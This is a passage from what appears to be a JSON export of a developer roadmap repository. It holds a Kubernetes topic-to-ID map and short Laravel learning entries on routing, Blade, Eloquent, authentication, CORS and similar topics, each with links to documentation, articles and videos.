    "content": "{\n  \"kubernetes-introduction\": \"y7KjVfSI6CAduyHd4mBFT\",\n  \"containers\": \"HGmeYvRf7_XusZl_K4x9k\",\n  \"setting-up-kubernetes\": \"3OpGaQhyNtk1n1MLp-tlb\",\n  \"kubernetes-introduction:kubernetes-overview\": \"qLeEEwBvlGt1fP5Qcreah\",\n  \"kubernetes-introduction:why-kubernetes\": \"q-Ky0ietZGpyUcBQfh-BJ\",\n  \"kubernetes-introduction:key-concepts-terminologies\": \"9oo2fxTM2_p0VYPBroqxa\",\n  \"kubernetes-introduction:kubernetes-alternatives\": \"3fzuXKH7az_LVnmnoXB1p\",\n  \"setting-up-kubernetes:deploying-your-first-application\": \"zrbSJa3k7a3TE0aYbWi9c\",\n  \"setting-up-kubernetes:choosing-a-managed-provider\": \"qSatCdBTDXPu-IFWzUI99\",\n  \"setting-up-kubernetes:installing-a-local-cluster\": \"YaIs8lquWIe1D7RCUBZmC\",\n  \"running-applications\": \"1MdrzhktCWjpmxiYYBdz7\",\n  \"running-applications:pods\": \"-d2PIXm0V_Iehe8cws8zK\",\n  \"running-applications:replicasets\": \"IF09l0-pryGpMbDt__ocr\",\n  \"running-applications:deployments\": \"TUGQX7y1gs-aKPge2F1NU\",\n  \"running-applications:statefulsets\": \"AJiRBEaKU8qYEm0fqN389\",\n  \"running-applications:jobs\": \"r3fzAN5DzratAKnnT8hzb\",\n  \"services-and-networking\": \"aUJ_w2L8nxNq3DfAW97Gd\",\n  \"services-and-networking:external-access-to-services\": \"jUOlITLqnIvSu97I_3nBz\",\n  \"services-and-networking:load-balancing\": \"Qelo1YvAcUoX5PA-RYbNp\",\n  \"services-and-networking:networking-and-pod-to-pod-communication\": \"44rhdieUCWsGFC_1__9kk\",\n  \"configuration-management\": \"dj7Tb2XTX4kxRUYiTjlhM\",\n  \"configuration-management:config-maps\": \"u24UlZKI86vaguj_VpMv1\",\n  \"configuration-management:secrets\": \"S0CwGC2gMG-SqnLNldqBD\",\n  \"resource-management\": \"eWKkdiBhD5x2sGYajmHEs\",\n  \"resource-management:setting-resource-requests-and-limits\": \"8RLR6gRjIyTn6GCugEfgk\",\n  \"resource-management:assigning-quotas-to-namespaces\": \"OHz4QMmA3lqL_C7aWL8Ga\",\n  \"resource-management:monitoring-and-optimizing-resource-usage\": \"PP4ld_vvjpY3QltBBsXKD\",\n  \"kubernetes-security\": \"SG3wtV2rt9nmLEkgrp_zP\",\n  \"kubernetes-security:role-based-acccess-control\": \"jOq0WwLrq8tlmOgo64QDc\",\n  \"kubernetes-security:network-security\": \"s0gHg8CqwrSylpSPu8arA\",\n  \"kubernetes-security:container-and-pod-security\": \"Nja7IFWcFTLsPcqbvRNm9\",\n  \"kubernetes-security:security-scanners\": \"i7qxaFhFHPfe3fGEgsbcE\",\n  \"monitoring-and-logging\": \"AgsQnQjyTLUFhFpRdcE13\",\n  \"monitoring-and-logging:logs\": \"-XxQtiLDAkXs7IFM_Ddw6\",\n  \"monitoring-and-logging:metrics\": \"nqUBHBFUYFdYqCKZvfXBR\",\n  \"monitoring-and-logging:traces\": \"ldYTEPt_hI4PXxr3tgJi5\",\n  \"monitoring-and-logging:resource-health\": \"pDjNsK5vI9FmKZbQm0lDP\",\n  \"monitoring-and-logging:observability-engines\": \"FANswgUhUb5Iuah2fni3L\",\n  \"autoscaling\": \"03mGA5AyL7mpF6y3EMW7A\",\n  \"autoscaling:horizontal-pod-autoscaler\": \"044IUUCgZP4oQ9UxUG2iy\",\n  \"autoscaling:vertical-pod-autoscaler\": \"c1KVczGRjh9bhMpbPP6sA\",\n  \"autoscaling:cluster-autoscaling\": \"RC5MoYtG2rom-d4FW5qD2\",\n  \"scheduling\": \"xZDXM_8qb4VL15tNGG0ws\",\n  \"scheduling:scheduling-basics\": \"70lTSIVh0AD6M8fMMuWzY\",\n  \"scheduling:taints-and-tolerations\": \"zXUsHAI1HFhcY2BFAcypv\",\n  \"scheduling:topology-spread-constraints\": \"CL0hKTcml40InmyVUXpY2\",\n  \"scheduling:pod-priorities\": \"_Gva1eGcYqpmZNPyV03lt\",\n  \"scheduling:evictions\": \"TRKzlDW2PQN9bWTyz3NWL\",\n  \"storage-and-volumes\": \"URnYf9jMprFz-o26fbU2P\",\n  \"storage-and-volumes:csi-drivers\": \"55RV9psPCmcg8G_P_zQo9\",\n  \"storage-and-volumes:stateful-applications\": \"LJUJ1NIUsajb1AUdvJjqW\",\n  \"deployment-patterns\": \"0l0xpsabglvs_t6oAP-XG\",\n  \"deployment-patterns:ci-cd-integration\": \"Pymc9H-lRHVPy7M9eSaPD\",\n  \"deployment-patterns:gitops\": \"dATdEyNWlpDNKjedCXLyb\",\n  \"deployment-patterns:helm-charts\": \"FAEFOhLdp7xrmctHFxiOM\",\n  \"deployment-patterns:canary-deployments\": \"88IGeC3dAopHLGtLozxdY\",\n  \"deployment-patterns:blue-green-deployments\": \"9-oaTlzKmcxTfaRycz1w3\",\n  \"deployment-patterns:rolling-updates-rollbacks\": \"yMSXdwDO36CLtp2TBC7aB\",\n  \"kubernetes-advanced-topics:custom-controllers\": \"L9rVPEEXFwisQOwT_LQ4v\",\n  \"kubernetes-advanced-topics:custom-schedulers-extenders\": \"1-Nb8rCMJEZrYm20sEcRJ\",\n  \"kubernetes-advanced-topics:custom-resource-definitions\": \"9P7l-RBOkUxs3Z_UpKQO-\",\n  \"kubernetes-advanced-topics:kubernetes-extensions-and-apis\": \"UeJcKv3jhenjNzHM-0R86\",\n  \"kubernetes-advanced-topics:own-cluster\": \"ZrVhYTw63aVVIFAEJDG5r\",\n  \"kubernetes-advanced-topics:control-plane-installation\": \"M-iTb_7EWZIJ3JpdViICx\",\n  \"kubernetes-advanced-topics:managing-worker-nodes\": \"2cQKTxln3dIk5IjX2UZdM\",\n  \"kubernetes-advanced-topics:multi-cluster-management\": \"auZgEQ6FC3nUjuyx0zANh\"\n}"
  },
  {
    "path": "src/data/roadmaps/laravel/content/app@U9EVG_fIFy57WWPwJSXv6.md",
    "content": "# App Directory\n\nThe `app` directory in a Laravel project houses the core logic of your application. It contains the code that defines your application's behavior, including models, controllers, middleware, services, and other custom classes. This directory is structured to promote organization and maintainability, making it easier to manage and scale your application as it grows.\n\nVisit the following resources to learn more:\n\n- [@official@App directory](https://laravel.com/docs/structure#the-root-app-directory)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/artisan@mz4QuqdC_EXKuX3KLX8_S.md",
    "content": "# Artisan Console\n\nArtisan is the command-line interface (CLI) included with Laravel. It provides a number of helpful commands that can assist you while building your application. These commands can automate repetitive tasks, generate boilerplate code, interact with your database, and perform other useful functions, ultimately streamlining the development process.\n\nVisit the following resources to learn more:\n\n- [@official@Artisan](https://laravel.com/docs/artisan)\n- [@article@Laravel - Artisan Console](https://www.tutorialspoint.com/laravel/laravel_artisan_console.htm)\n- [@article@Laravel commands: Top Artisan commands to know and how to create them](https://www.hostinger.com/tutorials/laravel-commands)\n- [@video@Getting Started with Artisan Commands in Laravel | Learn Laravel The Right Way](https://www.youtube.com/watch?v=gw7O8P0J1jE)\n- [@video@Basic Artisan Commands | Laravel For Beginners | Learn Laravel](https://www.youtube.com/watch?v=u5AgUYbEWFE)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/authentication@SZY9d1QisyChz-Jmu82pC.md",
    "content": "# Authentication in Laravel\n\nAuthentication is the process of verifying the identity of a user. It involves confirming that a user is who they claim to be, typically by checking their credentials (like a username and password) against stored records. Laravel provides built-in tools and features to simplify this process, making it easier to secure your application and control access to protected resources.\n\nVisit the following resources to learn more:\n\n- [@official@Authentication](https://laravel.com/docs//authentication#main-content)\n- [@article@Laravel Authentication: Getting Started and HTTP Auth Tutorial](https://frontegg.com/blog/laravel-authentication)\n- [@article@Understanding Laravel Authentication: Best Practices and Tips](http://medium.com/@aiman.asfia/understanding-laravel-authentication-best-practices-and-tips-cf00bcb894a4)\n- [@video@Laravel Authentication Tutorial #1 - Intro & Setup](https://www.youtube.com/watch?v=3JBmbQsR0ag)\n- [@video@Build Laravel Login & Registration from Scratch](https://www.youtube.com/watch?v=QtKZxNNPT_U)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/authorization@PvSwwdBaYY32Sv5qfe9aB.md",
    "content": "# Authorization\n\nAuthorization is the process of determining whether a user has permission to access a specific resource or perform a particular action. It verifies if an authenticated user is allowed to do what they are attempting to do within an application. This involves checking the user's roles, permissions, and policies against the requested resource or action.\n\nVisit the following resources to learn more:\n\n- [@official@Authorization](https://laravel.com/docs/authorization#main-content)\n- [@article@Mastering Laravel Policies: A Complete Guide to Authorization in Laravel](https://medium.com/@zulfikarditya/mastering-laravel-policies-a-complete-guide-to-authorization-in-laravel-991bbdcc6756)\n- [@video@Authorization in Laravel: Can You Do That?](https://www.youtube.com/watch?v=NXt5XqyaaNE)\n- [@video@06 - User Authorization in Laravel](https://www.youtube.com/watch?v=v7TgKS8BobI)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/basic-controllers@Xjt4YYR8zEzUfNY6D2JwU.md",
    "content": "# Basic Controllers\n\nControllers are fundamental building blocks in web applications that handle incoming requests and orchestrate the application's response. They act as intermediaries between the user interface (or API endpoint) and the application's data and logic. A controller receives a request, processes it by interacting with models or other services, and then returns a response, such as a view, JSON data, or a redirect.\n\nVisit the following resources to learn more:\n\n- [@official@Basic Controllers](https://laravel.com/docs/controllers#basic-controllers)\n- [@article@Controllers](https://www.tutorialspoint.com/laravel/laravel_controllers.htm)\n- [@article@How to Use Controllers in Laravel](https://www.inmotionhosting.com/support/edu/laravel/how-to-use-controllers-in-laravel/)\n- [@video@Controllers in Laravel: Detailed explanation for beginners](https://www.youtube.com/watch?v=DZmkzV9SJEI)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/basic-routes@LgHiEGflKuzsBEOMSX4i4.md",
    "content": "# Basic Routes\n\nRouting in Laravel determines how your application responds to client requests. It essentially maps URLs (like `/about` or `/contact`) to specific functions or controllers within your application. When a user visits a particular URL, Laravel's router identifies the corresponding route and executes the associated code, which might involve displaying a view, processing data, or performing other actions. This system allows you to define the structure and behavior of your web application based on the URLs users access.\n\nVisit the following resources to learn more:\n\n- [@official@Basic Routes](https://laravel.com/docs/routing#basic-routing)\n- [@article@Laravel Routing Guide – How to Create Route to Call a View](http://cloudways.com/blog/routing-in-laravel/)\n- [@article@Laravel - Routing](https://www.tutorialspoint.com/laravel/laravel_routing.htm)\n- [@video@The Basics of Routing in Laravel | Learn Laravel The Right Way](https://www.youtube.com/watch?v=pP4g0xPq0TQ)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/blade--livewire@rUKVDwwjP3pXswi-rWIj2.md",
    "content": "# Blade and Livewire Integration\n\nBlade is Laravel's templating engine, allowing developers to use simple syntax to create dynamic web pages. Livewire is a full-stack framework for Laravel that enables you to build dynamic interfaces using Laravel and PHP, without writing JavaScript. Combining Blade and Livewire allows you to create interactive and reactive user interfaces with the power and simplicity of Laravel's templating system and the real-time capabilities of Livewire components.\n\nVisit the following resources to learn more:\n\n- [@official@Supercharging Blade With Livewire](https://laravel.com/docs/blade#supercharging-blade-with-livewire)\n- [@official@Livewire](https://livewire.laravel.com/)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/blade-directives@lG-7OBSjPCyxpYQsROA5C.md",
    "content": "# Blade Directives\n\nBlade directives are shortcuts to common PHP control structures, like `if` statements and loops, within Laravel's Blade templating engine. They provide a cleaner and more readable syntax for embedding PHP logic directly into your HTML views. Instead of writing verbose PHP code, you can use directives like `@if`, `@foreach`, and `@csrf` to control the flow and output of your templates.\n\nVisit the following resources to learn more:\n\n- [@official@Blade Directives](https://laravel.com/docs/blade#blade-directives)\n- [@article@What are blade directives?](https://www.educative.io/answers/what-are-blade-directives)\n- [@article@Useful Blade Directives](https://laracasts.com/discuss/channels/laravel/useful-blade-directives)\n- [@video@Laravel Tutorial for Beginners #4 - Blade Directives](https://www.youtube.com/watch?v=cNE0HIRpeiU)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/blade-templating@L6uzrZ7z6ebnha3r-aHzb.md",
    "content": "# Blade Templating\n\nBlade is a simple yet powerful templating engine provided with Laravel. It allows you to use plain PHP in your views, but also offers convenient shortcuts and directives for common tasks like displaying data, looping through arrays, and conditional statements. Blade templates are compiled into plain PHP code and cached, meaning they add essentially zero overhead to your application.\n\nVisit the following resources to learn more:\n\n- [@official@Blade Templating](https://laravel.com/docs/blade#main-content)\n- [@article@Laravel - Blade Templates](https://www.tutorialspoint.com/laravel/laravel_blade_templates.htm)\n- [@article@Laravel Blade Template Engine: A Beginner's Guide](https://dev.to/icornea/laravel-blade-template-engine-a-beginners-guide-54bi)\n- [@article@Laravel Blade Basics](https://www.inmotionhosting.com/support/edu/laravel/laravel-blade-basics/)\n- [@video@Laravel 12 – Creating Layouts with Blade for Reusable Templates](https://www.youtube.com/watch?v=gZkpUNVFiYE)\n- [@video@Blade templates & Layouts | Laravel 10 Tutorial #7](https://www.youtube.com/watch?v=3UhgEsLxmG8)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/bootstrap@BWl1EezIH8xHf0N4grruF.md",
    "content": "# Bootstrap\n\nBootstrap in a Laravel project is the initial point where the framework starts its execution process. It involves setting up the environment, loading configurations, registering service providers, and handling exceptions. This process ensures that all the necessary components and dependencies are available and properly configured before the application starts processing requests.\n\nVisit the following resources to learn more:\n\n- [@official@The Bootstrap Directory](https://laravel.com/docs/structure#the-bootstrap-directory)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/breeze@vI2qUCCDghYynHr2hUSkb.md",
    "content": "# Breeze\n\nBreeze is a minimal, simple implementation of all of Laravel's authentication features, including login, registration, password reset, email verification, and password confirmation. It provides a basic starting point for building a new Laravel application with authentication already configured, allowing developers to quickly scaffold the user authentication system and focus on building the core features of their application. Breeze offers Blade templates, Tailwind CSS styling, and can be optionally configured with Inertia.js or Livewire.\n\nVisit the following resources to learn more:\n\n- [@official@Laravel Breeze](https://laravel.com/docs/10.x/starter-kits)\n- [@opensource@Laravel Breeze](https://github.com/laravel/breeze)\n- [@video@Kickstart Your Laravel Project with Breeze: The Minimal Starter Kit](https://www.youtube.com/watch?v=iZWprN9RYDo)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/caching@eeWk2_ZYQUcYlITUzSly0.md",
    "content": "# Route Caching\n\nRoute caching in Laravel involves storing the compiled routes in a cache file to significantly reduce the time it takes to register all of your application's routes on each request. Instead of re-parsing route definitions every time, Laravel can quickly load the routes from the cached file, leading to improved application performance, especially in larger applications with many routes. This is particularly beneficial in production environments where route definitions rarely change.\n\nVisit the following resources to learn more:\n\n- [@official@Route Caching](https://laravel.com/docs/routing#route-caching)\n- [@article@Optimize your app with Route Caching in Laravel](https://medium.com/@harrisrafto/optimize-your-app-with-route-caching-in-laravel-5def92abdd0a)\n- [@video@#2: Route Cache | Laravel Performance Tips 🚀](https://www.youtube.com/watch?v=NBVY4e3oQLc)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/casts-accessors@lPuBSP-PNifc0jIWzn_Gd.md",
    "content": "# Eloquent Casts and Accessors\n\nEloquent models in Laravel provide a way to interact with your database tables in an object-oriented manner. Casts allow you to modify the data type of an attribute when it's retrieved from or stored in the database. Accessors, on the other hand, let you format or modify attribute values when you access them, providing a convenient way to present data in a specific format without altering the underlying database value.\n\nVisit the following resources to learn more:\n\n- [@official@Eloquent: Mutators & Casting](https://laravel.com/docs/eloquent-mutators#main-content)\n- [@article@Eloquent Attribute Casting](https://laravel-news.com/eloquent-attribute-casting)\n- [@article@A Beginner’s Guide to use Laravel Casting with Examples](https://bagisto.com/en/a-beginners-guide-to-use-laravel-casting-with-examples/)\n- [@video@Laravel Eoquent | Almost every thing about casts #freetopg #laravel #php](https://www.youtube.com/watch?v=n3-n57kIUPc)\n- [@video@Eloquent Accessors: Dates, Casts, and \"Wrong Way\"](https://www.youtube.com/watch?v=t_wtC3qR-n0)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/components@bDM7WPrs8fW_V4KkIfbru.md",
    "content": "# Components in Laravel\n\nComponents are reusable pieces of code that encapsulate HTML, CSS, and logic to create modular and maintainable user interface elements. They allow developers to define custom HTML tags that can be used throughout their application's views, promoting code reuse and consistency. This approach simplifies the process of building complex UIs by breaking them down into smaller, manageable parts.\n\nVisit the following resources to learn more:\n\n- [@official@Components](https://laravel.com/docs/blade#components)\n- [@article@Laravel Fundamentals: Components](https://medium.com/@darshitabaldha2001/laravel-fundamentals-components-f03e8c2874b7)\n- [@article@Laravel: Blade Components 101](http://dev.to/ericchapman/laravel-blade-components-5c9c)\n- [@video@Become a PRO at Using Components in Laravel](https://www.youtube.com/watch?v=7E76PPoIVW4)\n- [@video@Laravel Tutorial for Beginners #6 - Components, Attributes & Props](https://www.youtube.com/watch?v=giMnl4gpZ_I)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/config@RfSXcTBYSX4_9YhsOdSQc.md",
    "content": "# Configuration in Laravel\n\nConfiguration files in Laravel allow you to manage settings for your application in a centralized and organized manner. These files store key-value pairs that define various aspects of your application's behavior, such as database connections, mail settings, and application-specific parameters. By using configuration files, you can easily modify your application's settings without directly altering the code, making it more flexible and maintainable across different environments.\n\nVisit the following resources to learn more:\n\n- [@official@The Config Directory](http://laravel.com/docs/structure#the-config-directory)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/configuration@Luq5PQpmDJDpf8DAkpiJt.md",
    "content": "# Deployment Configuration\n\nDeployment configuration involves setting up the necessary environment variables and settings for your Laravel application to run correctly in a production environment. This includes configuring database connections, cache settings, session drivers, and other environment-specific parameters to ensure optimal performance and security when the application is live.\n\nVisit the following resources to learn more:\n\n- [@official@Deployment](https://laravel.com/docs/12.x/deployment#introduction)\n- [@article@Deploying Laravel 12: From Local Development to Production Using CI/CD](https://medium.com/@zulfikarditya/deploying-laravel-12-from-local-development-to-production-using-ci-cd-615defdb7827)\n- [@article@How to Deploy Laravel Project on a Virtual Private Server](https://www.hostinger.com/tutorials/how-to-deploy-laravel)\n- [@video@Deploy Laravel applications fast and cheap](https://www.youtube.com/watch?v=kG8RP6Rk0K8)\n- [@video@Laravel Cloud vs. Laravel Forge](https://www.youtube.com/watch?v=I-WGiX-tQF8)\n- [@video@10+ Mistakes When Deploying Laravel Project to Production](https://www.youtube.com/watch?v=9gEsqgO05ZE)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/configuration@y6rsw2UrgUR0tm2Zzqhxk.md",
    "content": "# Database Configuration\n\nLaravel simplifies database interaction by allowing you to configure database connections within the `.env` file and the `config/database.php` file. The `.env` file stores sensitive information like database credentials, while `config/database.php` defines the available database connections and their default settings. You can specify the database driver (e.g., MySQL, PostgreSQL, SQLite), host, port, database name, username, and password. Laravel supports multiple database connections, enabling you to interact with different databases within the same application.\n\nVisit the following resources to learn more:\n\n- [@article@Configuration](https://laravel.com/docs/configuration#main-content)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/cors@l14wSdac211BUDxKkGk9J.md",
    "content": "# Cross-Origin Resource Sharing (CORS)\n\nCross-Origin Resource Sharing (CORS) is a browser security feature that restricts web pages from making requests to a different domain than the one that served the web page. This policy prevents malicious websites from accessing sensitive data from other sites. CORS defines a way for servers to specify which origins (domains, schemes, or ports) are permitted to access their resources.\n\nVisit the following resources to learn more:\n\n- [@official@Cross-Origin Resource Sharing (CORS)](https://laravel.com/docs/routing#cors)\n- [@article@Laravel CORS Guide: What It Is and How to Enable It](https://www.stackhawk.com/blog/laravel-cors/)\n- [@article@Diving into Cross-Origin Resource Sharing](https://laravel-news.com/diving-into-cross-origin-resource-sharing)\n- [@video@CORS in Laravel & Sanctum](https://www.youtube.com/watch?v=VW5fWPxv7Ak)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/create-a-new-project@7NR5Dj24EFDsvea61_BTu.md",
    "content": "# Creating a New Laravel Project\n\nTo start a new Laravel project, you'll typically use Composer, a dependency management tool for PHP. Open your terminal or command prompt, navigate to the directory where you want to create your project, and then run the command `composer create-project laravel/laravel your-project-name`. Replace `your-project-name` with the desired name for your project. This command downloads Laravel and all its dependencies, sets up the basic project structure, and prepares your development application.\n\nVisit the following resources to learn more:\n\n- [@official@Creating a Laravel Application](https://laravel.com/docs/installation#creating-a-laravel-project)\n- [@official@Setting up your Laravel project](https://laravel.com/learn/getting-started-with-laravel/setting-up-your-laravel-project)\n- [@article@A Beginner’s Guide to Setting Up a Project in Laravel](https://www.sitepoint.com/laravel-project-setup-beginners-guide/)\n- [@video@Laravel Project Setup & Getting Started | Laravel for Complete Beginners | Laravel Tutorial](https://www.youtube.com/watch?v=52WpfAQfgXs)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/creating-responses@PWAlppGP7HNMD7y4I6LnJ.md",
    "content": "# Creating Responses\n\nCreating responses in web applications involves generating and sending data back to the client in response to a request. This data can be in various formats, such as HTML, JSON, or XML, and often includes information requested by the client or the result of an action performed on the server. The response also includes HTTP status codes and headers that provide additional information about the response.\n\nVisit the following resources to learn more:\n\n- [@official@HTTP Responses](https://laravel.com/docs/responses)\n- [@article@Laravel Response Classes](https://laravel-news.com/laravel-response-classes)\n- [@article@Laravel Response](https://www.w3schools.in/laravel/response)\n- [@video@Laravel Return Types in API Controller: Five Options?](https://www.youtube.com/watch?v=xC2QzRzefVg)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/crud-operations@2VWPYrDyJSRy_SNysjK1P.md",
    "content": "# CRUD Operations in Eloquent ORM\n\nCRUD operations stand for Create, Read, Update, and Delete. These are the four basic functions of persistent storage, and they represent the fundamental operations performed on data within a database. In the context of Eloquent ORM, CRUD operations are simplified through intuitive methods that allow developers to interact with database tables as if they were working with PHP objects.\n\nVisit the following resources to learn more:\n\n- [@official@Eloquent: Getting Started](https://laravel.com/docs/eloquent)\n- [@article@How To CRUD (Create, Read, Update, and Delete) With Laravel](https://kinsta.com/blog/laravel-crud/)\n- [@article@Eloquent Queries - From beginner to advanced techniques](https://laravel-news.com/effective-eloquent)\n- [@video@Laravel Models - The Basics You Must Know (Eloquent & Query Builder in 10 Minutes)](https://www.youtube.com/watch?v=TdEZcP1JTf8&t=342s)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/database@QEapMmUt1VLeERQy8pOEn.md",
    "content": "# Database Directory in Laravel Projects\n\nThe `database` directory in a Laravel project houses all files related to your application's database interactions. This includes migrations, which define the structure of your database tables; seeders, which populate your database with initial data; factories, which generate fake data for testing; and any custom database-related logic you might implement. It serves as a central location for managing and version controlling your database schema and initial data.\n\nVisit the following resources to learn more:\n\n- [@official@The Database Directory](http://laravel.com/docs/structure#the-database-directory)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/debugbar@G_e9X1yp-SJ-pSOO1Knvq.md",
    "content": "# Debugbar\n\nDebugbar is a package that provides a convenient toolbar displayed in the browser, offering insights into your application's performance and debugging information. It allows you to inspect things like queries executed, views rendered, routes matched, and other useful data without having to dig through log files or use `dd()` statements extensively. This makes it easier to identify bottlenecks and understand how your application is behaving during development.\n\nVisit the following resources to learn more:\n\n- [@official@Debugbar](https://laraveldebugbar.com/)\n- [@opensource@laravel-debugbar](https://github.com/barryvdh/laravel-debugbar)\n- [@article@Debugging Laravel Applications with Laravel Debugbar](https://www.inmotionhosting.com/support/edu/laravel/debugging-laravel-applications-with-laravel-debugbar/)\n- [@video@Laravel Debugbar: 4 Features You May Not Know](https://www.youtube.com/watch?v=YuxXSHKkNJc)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/debugging-basics@nvxpeUXdFs1elkG4FS8PR.md",
    "content": "# Debugging Basics\n\nDebugging is the process of identifying and removing errors or defects from software code. It involves systematically testing the code, locating the source of problems, and then correcting them to ensure the software functions as intended. Effective debugging is crucial for producing reliable and maintainable applications.\n\nVisit the following resources to learn more:\n\n- [@article@How to debug Laravel apps](https://madewithlaravel.com/blog/debugging-in-laravel)\n- [@video@Laravel 11 Debugging: The Ultimate Guide to Using the Dumpable Trait](https://www.youtube.com/watch?v=4y40zvSifQg)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/dependency-injection@1icfSs9qyM4RB_RG2N9l6.md",
    "content": "# Dependency Injection\n\nDependency Injection is a design pattern where a component receives its dependencies from external sources rather than creating them itself. This promotes loose coupling, making code more modular, testable, and reusable. Instead of a class being responsible for instantiating its dependencies, those dependencies are \"injected\" into the class, typically through its constructor, setter methods, or interface injection.\n\nVisit the following resources to learn more:\n\n- [@official@Dependency Injection](https://laravel.com/docs/routing#dependency-injection)\n- [@article@Learn all about Laravel's dependency injection container](https://laravel-news.com/leaning-on-the-container)\n- [@article@Dependency Injection and Service Container in Laravel](https://www.codemag.com/Article/2212041/Dependency-Injection-and-Service-Container-in-Laravel)\n- [@video@The Power of Dependency Injection in Laravel: Best Practices for Developers💻](https://www.youtube.com/watch?v=xOxTdXicWd0)\n- [@video@Why the Laravel Service Container is the Key to Better Dependency Management](https://www.youtube.com/watch?v=8HBQ2-_39VE)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/displaying-data@SX0gVvrD0oNFUlhrfmPBV.md",
    "content": "# Displaying Data in Laravel Views\n\nDisplaying data in Laravel views involves passing information from your application's logic (controllers) to the view templates, which are then rendered into HTML and presented to the user. This process allows you to dynamically generate web pages with content that changes based on user input, database records, or other application data. Blade, Laravel's templating engine, provides a simple and powerful syntax for embedding PHP code within your HTML, making it easy to display variables, loop through arrays, and perform other data manipulations directly within your views.\n\nVisit the following resources to learn more:\n\n- [@official@Displaying data](https://laravel.com/docs/blade#displaying-data)\n- [@article@Laravel | Working with Blade Template Engine](https://magecomp.com/blog/laravel-working-with-blade-template-engine/)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/eloquent-orm@xqXQsC_2EX4rnGAiKML9o.md",
    "content": "# Eloquent ORM\n\nEloquent is an Object-Relational Mapper (ORM) that provides a simple and enjoyable way to interact with your database. It allows you to define models that represent database tables, and then use those models to query, insert, update, and delete data without writing raw SQL queries. Eloquent uses an Active Record implementation, meaning each model instance corresponds to a single row in its associated table.\n\nVisit the following resources to learn more:\n\n- [@official@Eloquent: Getting Started](https://laravel.com/docs/eloquent)\n- [@article@Mastering Eloquent ORM: A Beginner's Guide to Laravel's Magic 🚀](https://dev.to/icornea/mastering-eloquent-orm-a-beginners-guide-to-laravels-magic-2pj3)\n- [@article@Eloquent Queries - From beginner to advanced techniques](https://laravel-news.com/effective-eloquent)\n- [@video@Laravel Tutorial for Beginners #9 - Eloquent Models](https://www.youtube.com/watch?v=0LCAS5WXnL4)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/encryption--hashing@BXiM7ROYLZ7_a6x6c_wyd.md",
    "content": "# Encryption & Hashing\n\nEncryption and hashing are fundamental security techniques used to protect sensitive data. Encryption transforms data into an unreadable format using an algorithm and a key, making it unintelligible to unauthorized parties; decryption reverses this process to restore the original data. Hashing, on the other hand, creates a fixed-size, one-way representation (hash) of data, making it suitable for verifying data integrity and storing passwords securely, as the original data cannot be recovered from the hash.\n\nVisit the following resources to learn more:\n\n- [@official@Encryption](https://laravel.com/docs/encryption)\n- [@official@Hashing](https://laravel.com/docs/hashing)\n- [@article@How to Encrypt and Decrypt Messages in Laravel](https://www.twilio.com/en-us/blog/developers/community/encrypt-decrypt-messages-laravel)\n- [@article@Laravel - Encryption](https://www.tutorialspoint.com/laravel/laravel_encryption.htm)\n- [@article@Laravel - Hashing](https://www.tutorialspoint.com/laravel/laravel_hashing.htm)\n- [@video@How to Encrypt Database Fields in Laravel?](https://www.youtube.com/watch?v=a6V5Cxk03rk)\n- [@video@Re-hashed Passwords, Improved Enum Support & Context](https://www.youtube.com/watch?v=8fq6dzLi-2A)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/error-messages@-H9JJ_DsGAjtwdki5LPo-.md",
    "content": "# Error Messages in Validation\n\nError messages in validation are the feedback provided to users when the data they submit doesn't meet the defined validation rules. These messages inform users about the specific issues with their input, guiding them to correct the errors and successfully submit the form or data. They are crucial for a good user experience, ensuring clarity and ease of use.\n\nVisit the following resources to learn more:\n\n- [@official@Working With Error Messages](https://laravel.com/docs/1validation#working-with-error-messages)\n- [@article@Form Validation and Error Messages](https://laraveldaily.com/lesson/laravel-from-scratch/form-validation-error-messages)\n- [@article@The ultimate guide to Laravel Validation](https://laravel-news.com/laravel-validation)\n- [@video@😤Laravel 12 Custom Validation Messages | Display & Customize Error Messages in Laravel | Laravel 12](https://www.youtube.com/watch?v=2uTHfPzyEZ4)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/events--listeners@MRWdMXNwNyVgyNrx0qTdp.md",
    "content": "# Events and Listeners\n\nEvents and listeners provide a simple observer pattern implementation, allowing you to subscribe to and react to events that occur in your application. An event signifies that something has happened, while listeners are classes that execute specific actions in response to those events. This decoupling of event triggering and handling promotes cleaner, more maintainable code by allowing different parts of your application to communicate without direct dependencies.\n\nVisit the following resources to learn more:\n\n- [@official@Events](https://laravel.com/docs/events)\n- [@article@Laravel Events, Listeners and Observers Complete Guide](https://muwangaxyz.medium.com/laravel-events-listeners-and-observers-complete-guide-06196203b2a8)\n- [@article@Getting Started with Laravel Events and Listeners](https://neon.com/guides/laravel-events-and-listeners)\n- [@video@Let's talk about Events and Listeners](https://www.youtube.com/watch?v=_8Rrq_RtaB0)\n- [@video@09 - Events & Listeners](https://www.youtube.com/watch?v=K66ulWMj_O0)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/facades@182iKn3FXLZEKI47S7GIk.md",
